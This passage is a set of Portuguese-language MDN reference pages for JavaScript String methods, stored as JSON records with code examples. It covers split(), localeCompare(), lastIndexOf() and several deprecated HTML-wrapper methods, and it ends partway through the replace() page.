`separator` for uma string vazia (\"\"), `str` será convertido em um array contendo cada um de seus caracteres em UTF-16.\n\n`separator`\n\nOpcional. Especifica o caractere, ou conjunto de caracteres, a ser usado para separar a string. O separador pode ser uma string ou uma expressão regular.\n\n\n**Aviso:** Quando uma string vazia (`\"\"`) é usada como separador, a string não é dividida por caracteres percebidos pelo usuário (grapheme clusters) ou caracteres Unicode (pontos de código), mas por unidades de código UTF-16. Isso destrói pares substitutos. Consulte \"Como você transforma uma string em um array de caracteres em JavaScript?\" no StackOverflow.\n\n`limite`\n\nOpcional. Um número inteiro não negativo especificando um limite no número de divisões a serem encontradas. O método `split()` ainda dividirá em cada ocorrência do separador, até que o número de itens divididos corresponda ao limite ou que a string fique aquém do separador.\n\n* O array pode conter menos entradas do que o `limit` se o final da string for alcançado antes que o limite seja atingido.\n* Se o `limit` for `0`, `[]` será retornado.\n\n### Valor retornado\n\nUm array de strings divididos em cada ponto onde o separador ocorre na string informada.\n\nDescrição\n---------\n\nQuando encontrado, o caractere designado como o `separator` é removido da string e as substrings são retornadas em um array. Se o `separator` não for encontrado ou for omitido, o array irá conter um elemento consistindo da string inteira. Se o `separator` for uma string vazia, `str` será convertida em um array de caracteres.\n\nSe o separador for uma expressão regular que contenha parênteses de captura, cada vez que o `separator` for encontrado, os resultados (incluindo qualquer resultado `undefined`) dos parênteses de captura serão emendados ao array de saída. Entretanto, nem todos os navegadores possuem suporte a isso.\n\nExemplos\n--------\n\n### Usando `split()`\n\nQuando a string está vazia, o `split()` irá retornar um array contendo uma string vazia ao invés de um array vazio. Se a string e o separador forem ambos strings vazias, um array vazio será retornado.\n\n\n```js\nconst myString = \"\";\nconst splits = myString.split();\n\nconsole.log(splits);\n\n// retorna [\"\"]\n```\n\n\nO exemplo a seguir define uma função que divide uma string em um array de strings usando o separador especificado. Depois de dividir a string, a função exibe mensagens indicando a string original (antes da divisão), o separador usado, o número de elementos no array e os elementos individuais do array.\n\n\n```js\nfunction splitString(stringToSplit, separator) {\n  var arrayOfStrings = stringToSplit.split(separator);\n\n  console.log('A string original é: \"' + stringToSplit + '\"');\n  console.log('O separador é: \"' + separator + '\"');\n  console.log(\n    \"O array tem \" +\n      arrayOfStrings.length +\n      \" elementos: \" +\n      arrayOfStrings.join(\" / \"),\n  );\n}\n\nvar tempestString = \"Oh brave new world that has such people in it.\";\nvar monthString = \"Jan,Fev,Mar,Abr,Mai,Jun,Jul,Ago,Set,Out,Nov,Dez\";\n\nvar space = \" \";\nvar comma = \",\";\n\nsplitString(tempestString, space);\nsplitString(tempestString);\nsplitString(monthString, comma);\n```\n\n\nEsse exemplo produz a saída a seguir:\n```\n\nA string original é: \"Oh brave new world that has such people in it.\"\nO separador é: \" \"\nO array possui 10 elementos: Oh / brave / new / world / that / has / such / people / in / it.\n\nA string original é: \"Oh brave new world that has such people in it.\"\nO separador é: \"undefined\"\nO array possui 1 elementos: Oh brave new world that has such people in it.\n\nA string original é: \"Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec\"\nO separador é: \",\"\nO array possui 12 elementos: Jan / Feb / Mar / Apr / May / Jun / Jul / Aug / Sep / Oct / Nov / Dec\n```\n\n### Removendo espaços de uma string\n\nNo exemplo a seguir, `split()` procura por 0 ou mais espaços seguidos por um ponto e vírgula seguido por 0 ou mais espaços e, quando encontrar, remove os espaços e os pontos e vírgulas da string. `nameList` é o array retornado como resultado do `split()`.\n\n\n```js\nvar names = \"Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand \";\n\nconsole.log(names);\n\nvar re = /\\s\\*;\\s\\*/;\nvar nameList = names.split(re);\n\nconsole.log(nameList);\n```\n\n\nO retorno do código acima são duas linhas. A primeira linha registra a string original e a segunda linha registra o array resultante.\n```\n\nHarry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand\n[ \"Harry Trump\", \"Fred Barney\", \"Helen Rigby\", \"Bill Abel\", \"Chris Hand \" ]\n```\n\n### Retornando um número limitado de divisões\n\nNo exemplo a seguir, o `split()` procura por 0 ou mais espaços em uma string e retorna as 3 primeiras divisões que encontrar.\n\n\n```js\nvar myString = \"Hello World. How are you doing?\";\nvar splits = myString.split(\" \", 3);\n\nconsole.log(splits);\n```\n\n\nO script exibirá o texto a seguir:\n```\n\n[\"Hello\", \"World.\", \"How\"]\n```\n\n### Parênteses de Captura\n\nSe o `separator` contém parênteses de captura, os resultados correspondentes são retornados no array.\n\n\n```js\nvar myString = \"Hello 1 word. Sentence number 2.\";\nvar splits = myString.split(/(\\d)/);\n\nconsole.log(splits);\n```\n\n\nO script exibirá o texto a seguir:\n```\n\n[ \"Hello \", \"1\", \" word. Sentence number \", \"2\", \".\" ]\n```\n\n\n**Nota:**`\\d` corresponde à classe de caracteres para dígitos entre 0 e 9.\n\n### Revertendo uma String usando `split()`\n\n**Aviso:** Esta não é a melhor maneira de reverter uma string:\n\n\n```js\nconst str = \"asdfghjkl\";\nconst strReverse = str.split(\"\").reverse().join(\"\");\n// 'lkjhgfdsa'\n\n// split() retorna um array onde os métodos\n// reverse() e join() podem ser aplicados\n```\n\n\nNão funciona se a string contém `grapheme clusters`, mesmo ao usar uma divisão compatível com Unicode. (Use, por exemplo, esrever no lugar.)\n\n\n```js\nconst str = \"résumé\";\nconst strReverse = str.split(/(?:)/u).reverse().join(\"\");\n// retorna \"́emuśer\"\n```\n\n\n**Bonus:** use o operador `===` (en-US) para testar se a string original era um palíndromo.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.split |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.charAt()`\n* `String.prototype.indexOf()`\n* `String.prototype.lastIndexOf()`\n* `Array.prototype.join()`"}
{"title":"String.prototype.valueOf() - JavaScript","text":"String.prototype.valueOf()\n==========================\n\nO método `valueOf()` retorna o valor primitivo de um objeto `String`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.valueOf()\n```\n\n### Valor retornado\n\nUma string representando o valor primitivo de um objeto `String`.\n\nDescrição\n---------\n\nO método `valueOf()` do objeto `String` retorna o valor primitivo de um objeto `String` como um dado do tipo string. Esse valor é equivalente a `String.prototype.toString()`.\n\nEsse método é normalmente chamado internamente pelo JavaScript e não fica explícito no código.\n\nExemplos\n--------\n\n### Usando `valueOf()`\n\n\n```js\nvar x = new String(\"Olá, mundo\");\nconsole.log(x.valueOf()); // retorna 'Olá, mundo'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.valueof |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.toString()`\n* `Object.prototype.valueOf()`"}
{"title":"String.prototype.localeCompare() - JavaScript","text":"String.prototype.localeCompare()\n================================\n\nO método `localeCompare()` retorna um número que indica se uma string de referência vem antes ou depois, ou é a mesma que a string fornecida na ordem de classificação.\n\nExperimente\n-----------\n\nOs novos argumentos *`locales`* e *`options`* permitem que os aplicativos especifiquem o idioma cuja ordem da ordenação deve ser usada e personalizem o comportamento da função. Em implementações mais antigas, que ignoram os argumentos *`locales`* e *`options`*, a localidade e a ordem de classificação usadas são totalmente dependentes da implementação.\n\nSintaxe\n-------\n```\n\nreferenceStr.localeCompare(compareString[, locales[, options]])\n```\n\n### Parâmetros\n\n`compareString`\n\nA string com a qual a *`referenceStr`* é comparada.\n\n`locales` \\_e \\_`options`\n\nEsses argumentos personalizam o comportamento da função e permitem que os aplicativos especifiquem o idioma cujas convenções de formatação devem ser usadas. Em implementações que ignoram os argumentos *`locales`* e *`options`*, a localidade usada e a forma da string retornada são inteiramente dependentes da implementação.\n\nConsulte o construtor `Intl.Collator()` (en-US) para obter detalhes sobre esses parâmetros e como usá-los.\n\n### Valor retornado\n\nUm número **negativo** se *`referenceStr`* ocorrer antes de *`compareString`*. Um número **positivo** se o *`referenceStr`* ocorrer após *`compareString`*. `0` se eles forem equivalentes.\n\nDescrição\n---------\n\nRetorna um inteiro indicando se *`referenceStr`* vem antes, depois ou é equivalente a *`compareString`*.\n\n* Negativo quando o *`referenceStr`* ocorre antes de *`compareString`*\n* Positivo quando o *`referenceStr`* ocorre após *`compareString`*\n* Retorna `0` se eles forem equivalentes\n\n**Aviso:** **NÃO confie em valores de retorno exatos de -1 ou 1!**\n\nOs resultados de números inteiros negativos e positivos variam entre os navegadores (bem como entre as versões dos navegadores) porque a especificação W3C exige apenas valores negativos e positivos. Alguns navegadores podem retornar `-2` ou `2`, ou mesmo algum outro valor negativo ou positivo.\n\nPerformance\n-----------\n\nAo comparar um grande número de strings, como na classificação de grandes arrays, é melhor criar um objeto `Intl.Collator` (en-US) e usar a função fornecida por sua propriedade `compare` (en-US).\n\nExemplos\n--------\n\n### Usando `localeCompare()`\n\n\n```js\n// A letra \"a\" está antes de \"c\" produzindo um valor negativo\n\"a\".localeCompare(\"c\"); // -2 ou -1 (ou algum outro valor negativo)\n\n// Alfabeticamente, a palavra \"verificar\" vem depois de \"contra\", produzindo um valor positivo\n\"verificar\".localeCompare(\"contra\"); // 2 ou 1 (ou algum outro valor positivo)\n\n// \"a\" e \"a\" são equivalentes, resultando em um valor neutro de zero\n\"a\".localeCompare(\"a\"); // 0\n```\n\n### Ordenar um array\n\n`localeCompare()` permite a ordenação sem distinção entre maiúsculas e minúsculas em um array.\n\n\n```js\nlet items = [\"réservé\", \"Premier\", \"Cliché\", \"communiqué\", \"café\", \"Adieu\"];\nitems.sort((a, b) => a.localeCompare(b, \"fr\", { ignorePunctuation: true }));\n// ['Adieu', 'café', 'Cliché', 'communiqué', 'Premier', 'réservé']\n```\n\n### Verifique o suporte do navegador para os novos argumentos\n\nOs argumentos *`locales`* e *`options`* ainda não são suportados em todos os navegadores.\n\nPara verificar se uma implementação os suporta, use o argumento `\"i\"` (um requisito de rejeição das tags de linguagem ilegal) e procure uma exceção `RangeError` (en-US):\n\n\n```js\nfunction localeCompareSupportsLocales() {\n  try {\n    \"foo\".localeCompare(\"bar\", \"i\");\n  } catch (e) {\n    return e.name === \"RangeError\";\n  }\n  return false;\n}\n```\n\n### Usando `locales`\n\nOs resultados fornecidos por `localeCompare()` variam entre os idiomas. Para obter a ordem de classificação do idioma usado na interface do usuário de seu aplicativo, certifique-se de especificar esse idioma (e possivelmente alguns idiomas substitutos) usando o argumento *`locales`*:\n\n\n```js\nconsole.log(\"ä\".localeCompare(\"z\", \"de\")); // um valor negativo: em alemão, ä é classificado antes de z\nconsole.log(\"ä\".localeCompare(\"z\", \"sv\")); // um valor positivo: em sueco, ä é classificado após z\n```\n\n### Usando `options`\n\nOs resultados fornecidos por `localeCompare()` podem ser personalizados usando o argumento *`options`*:\n\n\n```js\n// em alemão, ä tem a como letra base\nconsole.log(\"ä\".localeCompare(\"a\", \"de\", { sensitivity: \"base\" })); // 0\n\n// em sueco, ä e a são letras de base separadas\nconsole.log(\"ä\".localeCompare(\"a\", \"sv\", { sensitivity: \"base\" })); // um valor positivo\n```\n\n### Ordenação numérica\n\n\n```js\n// por padrão, \"2\" > \"10\"\nconsole.log(\"2\".localeCompare(\"10\")); // 1\n\n// numeric using options:\nconsole.log(\"2\".localeCompare(\"10\", undefined, { numeric: true })); // -1\n\n// numeric using locales tag:\nconsole.log(\"2\".localeCompare(\"10\", \"en-u-kn-true\")); // -1\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.localecompare |\n| ECMAScript Internationalization API Specification # sup-String.prototype.localeCompare |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Intl.Collator` (en-US)"}
{"title":"String.prototype.anchor() - JavaScript","text":"String.prototype.anchor()\n=========================\n\n **Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método **`anchor()`** cria uma string começando com uma tag inicial `<a name=\"...\">`, um texto e uma tag final `</a>`.\n\n**Aviso:** Não use este método. Ao invés, use DOM APIs. Além disso, a especificação HTML não permite mais que o elemento <a> tenha um atributo **\"name\"**, portanto, esse método nem mesmo cria uma tag válida.\n\nSintaxe\n-------\n```\n\nstr.anchor(name)\n```\n\n### Parâmetros\n\n`name`\n\nUma string que deve representar o valor do atributo *`name`.*\n\n### Valor retornado\n\nUma string começando com uma tag de início *`<a name=\"name\">`*, depois o valor da string e, em seguida, uma tag de fim *`</a>`*.\n\nDescrição\n---------\n\nNão use este método. Ao invés, use DOM APIs. Além disso, a especificação HTML não permite mais que o elemento *`<a>`* tenha um atributo **\"name\"**, portanto, esse método nem mesmo cria uma tag válida.\n\nExemplos\n--------\n\n### Usando `anchor()`\n\n\n```js\nconst nome = 'Ricardo';\nconsole.log(nome.anchor('https://developer.mozilla.org/pt-BR/)');\n```\n\n\nirá retornar o seguinte código HTML:\n\n\n```html\n'<a name=\"https://developer.mozilla.org/pt-BR/\">Ricardo</a>'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.anchor |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.link()`"}
{"title":"String.prototype.search() - JavaScript","text":"String.prototype.search()\n=========================\n\nO método `search()` realiza uma busca por uma ocorrência entre uma expressão regular e uma `String`.\n\nSintaxe\n-------\n```\n\nstr.search(regexp)\n```\n\n### Parâmetros\n\n`regexp`\n\nUm objeto contendo uma expressão regular. Se um objeto `obj` for passado como parâmetro e não for do tipo `RegExp`, ele será implicitamente convertido para uma `RegExp` através da instrução `new RegExp(obj)`.\n\n### Valor retornado\n\nO índice na string do primeiro trecho que satisfaz a expressão regular. Do contrário, o valor `-1` será retornado.\n\nDescrição\n---------\n\nQuando você quiser saber se um padrão foi encontrado, e também saber seu índice dentro de uma string, use `search()`. (Se você deseja apenas saber se ele existe, use o método semelhante `test()` do protótipo RegExp, que retorna um booleano.)\n\nPara obter mais informações (mas em compensação a execução se torna mais lenta), use `match()` (semelhante ao método `exec()` da RegExp).\n\nExemplos\n--------\n\n### Usando `search()`\n\nO exemplo a seguir pesquisa uma string com dois objetos `regexp` diferentes para mostrar uma pesquisa bem-sucedida (valor positivo) vs. uma pesquisa mal-sucedida (-1).\n\n\n```js\nlet str = \"hey JudE\";\nlet re = /[A-Z]/g;\nlet reDot = /[.]/g;\nconsole.log(str.search(re)); // retorna 4, que é o índice da primeira letra maiúscula \"J\"\nconsole.log(str.search(reDot)); // retorna -1 pois não conseguiu encontrar o ponto \".\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.search |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas específicas para a engine Gecko\n-------------------------------------\n\n* Antes do Gecko 8.0, `search()` foi implementado incorretamente. Quando era chamadosem parâmetros ou com `undefined`, ele buscava pela string '`undefined`', ao invés de buscar pela string vazia. Isto foi corrigido. Agora `'a'.search()` e `'a'.search(undefined)` corretamente retornam 0.\n* A partir do Gecko 39, o argumento não-padrão `flags` está defasado (deprecated) e dispara um aviso no console (Erro do Firefox 1142351).\n* A partir do Gecko 47, o argumento não-padrão `flags` não é mais suportado em builds *non-release* e em breve será removido inteiramente (Erro do Firefox 1245801).\n* A partir do Gecko 49, o argumento não-padrão `flags` não é mais suportado (Erro do Firefox 1108382).\nVeja também\n-----------\n\n* `String.prototype.match()`\n* `RegExp.prototype.exec()`"}
{"title":"String.prototype.sup() - JavaScript","text":"String.prototype.sup()\n======================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método `sup()` cria um elemento HTML `<sup>` (en-US) que faz com que uma string seja exibida como sobrescrito.\n\nSintaxe\n-------\n```\n\nstr.sup()\n```\n\n### Valor retornado\n\nUma string contendo um elemento HTML `<sup>` (en-US).\n\nDescrição\n---------\n\nO método `sup()` cria uma string dentro de uma tag `<sup>`: `\"<sup>str</sup>\"`\n\nExemplos\n--------\n\n### Usando os métodos `sub()` e `sup()`\n\nO exemplo a seguir usa os métodos `sub()` e `sup()` para formatar uma string:\n\n\n```js\nvar superText = \"superscript\";\nvar supText = \"supscript\";\n\nconsole.log(\"This is what a \" + superText.sup() + \" looks like.\");\n// \"This is what a <sup>superscript</sup> looks like.\"\n\nconsole.log(\"This is what a \" + supText.sup() + \" looks like.\");\n// \"This is what a <sup>supscript</sup> looks like.\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.sup |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.sup()`"}
{"title":"String.prototype.big() - JavaScript","text":"String.prototype.big()\n======================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método **big()** cria um elemento HTML <big> fazendo com que o texto dentro dele seja exibido uma uma fonte maior.\n\n**Nota:** O elemento <big> foi removido no HTML5 (en-US) e não deve mais ser usado. Em vez disso, web developers devem usar a propriedade CSS correspondente.\n\nSintaxe\n-------\n```\n\nstr.big()\n```\n\n### Valor retornado\n\nUma string contendo um elemento HTML.\n\nDescrição\n---------\n\n O método `big()` cria uma string dentro de uma tag `<big>`:\n `\"<big>str</big>\"`.\n\nExemplos\n--------\n\n### Usando `big()`\n\nOs exemplos abaixo usam métodos do objeto String para alterar o tamanho de uma string:\n\n\n```js\nvar worldString = \"Olá, mundo\";\n\nconsole.log(worldString.small()); // <small>Olá, mundo</small>\nconsole.log(worldString.big()); // <big>Olá, mundo</big>\nconsole.log(worldString.fontsize(7)); // <fontsize=7>Olá, Mundo</fontsize>\n```\n\n\nCom o objeto `element.style` você pode selecionar o atributo `style` do elemento e manipulá-lo de forma mais genérica, por exemplo:\n\n\n```js\ndocument.getElementById(\"#oIdDoElemento\").style.fontSize = \"2em\";\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.big |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.fontsize()`\n* `String.prototype.small()`"}
{"title":"String.prototype.lastIndexOf() - JavaScript","text":"String.prototype.lastIndexOf()\n==============================\n\nO método `lastIndexOf()` retorna o índice da última ocorrência do valor especificado encontrado na `String`. Quando `fromIndex` é especificado, a pesquisa é realizada de trás para frente. Retorna `-1` se o valor não for encontrado.\n\nSintaxe\n-------\n```\n\nstr.lastIndexOf(searchValue[, fromIndex])\n```\n\n### Parâmetros\n\n`searchValue`\n\nUma string representando o valor a ser procurado. Se `searchValue` for uma string vazia, `str.length` é retornado.\n\n`fromIndex`\n\nOpcional. O índice no qual a pesquisa será iniciada de trás para frente. O valor padrão é `+Infinity`. Se `fromIndex >= str.length`, toda string é pesquisada. Se `fromIndex < 0`, o comportamento será o mesmo que seria com o índice `0`.\n\n### Valor retornado\n\nO índice da última ocorrência referente ao valor especificado em `searchValue`. É retornado `-1` se nada for encontrado.\n\nDescrição\n---------\n\nOs caracteres em uma string são indexados da esquerda para a direita. O índice do primeiro caractere é `0`, e o índice do último caractere é `str.length - 1`.\n\n\n```js\n\"ricardo\".lastIndexOf(\"r\"); // retorna 4\n\"ricardo\".lastIndexOf(\"a\", 3); // retorna 3\n\"ricardo\".lastIndexOf(\"a\", 0); // retorna -1\n\"ricardo\".lastIndexOf(\"x\"); // retorna -1\n\"ricardo\".lastIndexOf(\"r\", -5); // retorna 0\n\"ricardo\".lastIndexOf(\"r\", 0); // retorna 0\n\"ricardo\".lastIndexOf(\"\"); // retorna 7\n\"ricardo\".lastIndexOf(\"\", 2); // retorna 2\n```\n\n### Sensível a maiúsculas e minúsculas\n\nO método `lastIndexOf()` é sensível a letras maiúsculas e minúsculas. Por exemplo, a seguinte expressão retorna `-1`:\n\n\n```js\n\"Blue Whale, Killer Whale\".lastIndexOf(\"blue\"); // retorna -1\n```\n\nExemplos\n--------\n\n### Usando `lastIndexOf()`\n\nO seguinte exemplo usa `lastIndexOf()` para localizar valores nas string `\"Brave new world\"`.\n\n\n```js\nvar anyString = \"Brave new world\";\n\nconsole.log(\n  \"O índice do primeiro w a partir do final é \" + anyString.lastIndexOf(\"w\"),\n);\n// retorna 10\n\nconsole.log(\n  'O índice de \"new\" a partir do final é ' + anyString.lastIndexOf(\"new\"),\n);\n// retorna 6\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.lastindexof |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.charAt()`\n* `String.prototype.indexOf()`\n* `String.prototype.split()`\n* `Array.prototype.indexOf()`\n* `Array.prototype.lastIndexOf()`"}
{"title":"String.prototype.bold() - JavaScript","text":"String.prototype.bold()\n=======================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método **`bold()`** cria um elemento HTML <b> que faz com que uma string seja exibida em negrito.\n\nSintaxe\n-------\n```\n\nstr.bold()\n```\n\n### Valor retornado\n\nUma string contendo um elemento HTML <b> .\n\nDescrição\n---------\n\n O método `bold()` cria uma string dentro de uma tag `<b>`:\n `\"<b>str</b>\"`.\n\nExemplos\n--------\n\n### Usando `bold()`\n\nOs exemplos abaixo usam métodos do objeto String para alterar a formatação de uma string:\n\n\n```js\nvar worldString = \"Olá, mundo\";\n\nconsole.log(worldString.blink()); // <blink>Olá, mundo</blink>\nconsole.log(worldString.bold()); // <b>Olá, mundo</b>\nconsole.log(worldString.italics()); // <i>Olá, mundo</i>\nconsole.log(worldString.strike()); // <strike>Olá, mundo</strike>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.bold |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.blink()`\n* `String.prototype.italics()`\n* `String.prototype.strike()`"}
{"title":"String.length - JavaScript","text":"String.length\n=============\n\nA propriedade `length` de um objeto `String` contém o comprimento da string. `length` é uma propriedade `read-only` (somente leitura) de instâncias de string.\n\nSintaxe\n-------\n```\n\nstr.length\n```\n\nDescrição\n---------\n\nEssa propriedade retorna o número de unidades de código presentes na string. UTF-16, a codificação utilizada pelo JavaScript, utiliza uma unidade de código de 16-bits para representar os caracteres mais comuns, mas precisa usar duas unidades para caracteres menos usados, então é possível que o valor retornado por `length` não seja exatamente o número de caracteres na string.\n\nECMASCript 2016 (ed. 7) estabeleceu um comprimento máximo de `2^53 - 1` elementos. Anteriormente, nenhum comprimento máximo havia sido especificado. No Firefox, as strings têm um comprimento (`length`) máximo de `2**30 - 2` (~ 1 GB). Em versões anteriores ao Firefox 65, o comprimento máximo era `2**28 - 1` (~ 256 MB).\n\nPara uma string vazia, `length` é `0`.\n\nA propriedade estática `String.length` retorna o valor `1`.\n\nExemplos\n--------\n\n### Uso básico\n\n\n```js\nvar x = \"Mozilla\";\nvar empty = \"\";\n\nconsole.log(\n  \"Mozilla possui \" + x.length + \" unidades de código de comprimento\",\n);\n/\\* \"Mozilla possui 7 unidades de código de comprimento\" \\*/\n\nconsole.log(\"A string vazia possui um comprimento de \" + empty.length);\n/\\* \"A string vazia possui um comprimento de 0\" \\*/\n```\n\n### Atribuindo valor ao comprimento\n\n\n```js\nlet myString = \"campainhas\";\n\n// A tentativa de atribuir um valor à propriedade .length\n// de uma string não tem efeito observável.\n\nmyString.length = 4;\nconsole.log(myString);\n// retorna \"campainhas\"\nconsole.log(myString.length);\n// retorna 10\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-properties-of-string-instances-length |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* JavaScript `String.length` and Internationalizing Web Applications"}
{"title":"String.prototype.toLowerCase() - JavaScript","text":"String.prototype.toLowerCase()\n==============================\n\nO método **`toLowerCase()`** retorna o valor da string que foi chamada convertido para minúsculo.\n\nSintaxe\n-------\n```\n\nstr.toLowerCase()\n```\n\n### Valor retornado\n\nUma nova string contendo o valor da string original convertido para minúsculo.\n\nDescrição\n---------\n\nO método `toLowerCase()` retorna o valor da string original convertido para minúsculo. `toLowerCase()` não altera o valor da string original.\n\nExemplos\n--------\n\n### Usando `toLowerCase()`\n\n\n```js\nconsole.log(\"ALFABETO\".toLowerCase()); // 'alfabeto'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.tolowercase |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.toLocaleLowerCase()`\n* `String.prototype.toLocaleUpperCase()`\n* `String.prototype.toUpperCase()`"}
{"title":"String.prototype.replace() - JavaScript","text":"String.prototype.replace()\n==========================\n\nResumo\n------\n\nO método `replace()` retorna uma nova string com algumas ou todas as correspondências de um padrão substituídas por um determinado caractere (ou caracteres). O padrão pode ser uma string ou uma `RegExp`, e a substituição pode ser uma string ou uma função a ser chamada para cada correspondência. Se o padrão for uma string, apenas a primeira ocorrência será substituída.\n\nA string original não é modificada.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.replace(regexp|substr, newSubStr|function)\n```\n\n### Parâmetros\n\n`regexp`\n\nUm objeto `RegExp` ou literal. A correspondência ou correspondências são substituídas por *`newSubStr`* ou o valor retornado pela `function` especificada.\n\n`substr`\n\nUma `String` que será substituída por `newSubStr`. Ele é tratado como uma string textual e não é interpretado como uma expressão regular. Apenas a primeira ocorrência será substituída.\n\n`newSubStr`\n\nA `String` que substitui a `substr` recebida do parâmetro #1. Uma série de padrões de substituições especiais são suportados. Veja a seção \"\n\nEspecificando uma string como parâmetro\n\n\" abaixo.\n\n`function`\n\nA função (function) chamada cria uma nova substring (para ser colocada no lugar da substring recebida pelo parametro #1). Os argumentos fornececidos para essa função estão descritos na seção \"\n\nEspecificando uma função como parâmetro\n\n\" mais abaixo.\n\n`flags` \nNon-standard\n\nUma string especificando uma combinação de flags de expressão regular. O uso do parâmetro `flags` no método `String.prototype.replace()` é não-padrão. Ao invés de usar este parâmetro, use um objeto `RegExp` com as flags correspondentes. O valor deste parâmetro deve ser uma string consistindo em um ou mais dos seguintes caracteres para afetar a operação, tais como descrito:\n\n`g`\n\nCombinação global.\n\n`i`\n\nIgnora diferenças entre maiúsculas e minúsculas.\n\n`m`\n\nCombinação em várias linhas.\n\n`y` \nExperimental\n\nSticky\n\n\n> \n> \\*\\*Nota:\\*\\*O argumento `flags` não funciona no v8 Core (Chrome e NodeJs).\n> \n> \n> \n\n### Valor retornado\n\nUma nova string com alguma ou todas as combinações do padrão substituído(s) pelo valor de substituição.\n\nDescrição\n---------\n\nEste método não muda o objeto `String`. Ele simplesmente retorna uma nova string.\n\nPara realizar uma pesquisa global e substituir, inclua a flag `g` na expressão regular ou se o primeiro parâmetro for uma string, inclua `g` no parâmetro flags.\n\n### Especificando uma string como parâmetro\n\nA string substituidora pode incluir o seguinte padrão de substituição especial:\n\n| **Padrão** | **Insere** |\n| --- | --- |\n| `$$` | Insere um \"$\". |\n| `$&` | Insere a string casada. |\n| `$`` | Insere a porção da string que precede a substring combinada. |\n| `$'` | Insere a porção da string que segue a substring combinada. |\n| `$n` ou `$nn` | Onde `n` ou `nn` são dígitos decimais, insere a *n*-ésima substring entre parêntesis casada, dado o primeiro argumento foi um objeto `RegExp`. |\n\n### Especificando uma função como parâmetro\n\nVocê pode especificar uma função no segundo parâmetro. Neste caso, a função será chamada depois que a correspôndecia for encontrada. O resultado da função (valor retornado) será usado como a string substituta. (Atenção: os padrões de substituição citados acima não se aplicam neste caso). Note que a função será chamada múltiplas vezes para combinação que deve ser substituída se a expressão regular no primeiro parâmetro tiver a regra global.\n\nOs parâmetros da função são:\n\n| **Possíveis nomes** | **Valor fornecido** |\n| --- | --- |\n| `match` | A substring encontrada. Corresponde ao `$&` acima. |\n| `p1, p2, ...` | O enésimo parâmetro entre parênteses da RegEx no primeiro parâmetro na função `replace()` `RegExp`. (Corresponde a `$1`, `$2`, etc. acima.) Por exemplo, se `/(\\a+)(\\b+)/`, for o primeiro parâmetro, `p1` é a combinação para `\\a+`, e `p2` para `\\b+`. |\n| `offset` | O offset da string encontrada em relação ao resto da string. Por 